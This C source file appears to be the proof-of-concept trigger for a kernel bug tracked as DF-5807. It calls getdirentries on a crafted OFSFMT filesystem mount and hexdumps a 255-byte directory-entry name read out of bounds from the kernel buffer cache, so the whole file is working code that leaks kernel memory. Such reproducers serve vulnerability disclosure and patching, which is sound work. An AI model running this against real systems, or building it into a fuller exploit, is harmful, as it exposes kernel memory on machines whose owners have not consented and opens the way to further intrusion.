DF-5807 / getd.c
/* * DF-5807 trigger: getdirentries(2) on the crafted OFSFMT mount. * Dumps every returned dirent; the payload record has d_namlen=255 with * a 255-byte "name" read from beyond the buffer-cache buffer. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/dirent.h> #include <sys/param.h> int main(int argc, char **argv) { int fd, n, i; long base = 0; char buf[65536]; struct dirent *d; if (argc < 2) { fprintf(stderr, "usage: %s <dir>\n", argv[0]); return 1; } fd = open(argv[1], O_RDONLY); if (fd < 0) { perror("open"); return 1; } n = getdirentries(fd, buf, sizeof(buf), &base); if (n < 0) { perror("getdirentries"); return 1; } printf("getdirentries n=%d\n", n); for (i = 0; i < n; ) { char *p = buf + i; struct dirent *d = (struct dirent *)p; int j; printf("dirent @%d: fileno=%lu type=%u namlen=%u reclen=%u\n", i, (unsigned long)d->d_fileno, d->d_type, d->d_namlen, _DIRENT_RECLEN(d->d_namlen)); if (d->d_namlen == 255) { printf(" *** 255-byte name from an 8-byte on-disk " "record (OOB read) ***\n name hexdump:\n"); for (j = 0; j < 255; j += 16) { int k; printf(" %04x: ", j); for (k = 0; k < 16 && j + k < 255; k++) printf("%02x ", (unsigned char)d->d_name[j+k]); printf(" |"); for (k = 0; k < 16 && j + k < 255; k++) { unsigned char c = d->d_name[j+k]; putchar((c >= 32 && c < 127) ? c : '.'); } printf("|\n"); } } if (_DIRENT_RECLEN(d->d_namlen) == 0) break; i += _DIRENT_RECLEN(d->d_namlen); } close(fd); return 0; } |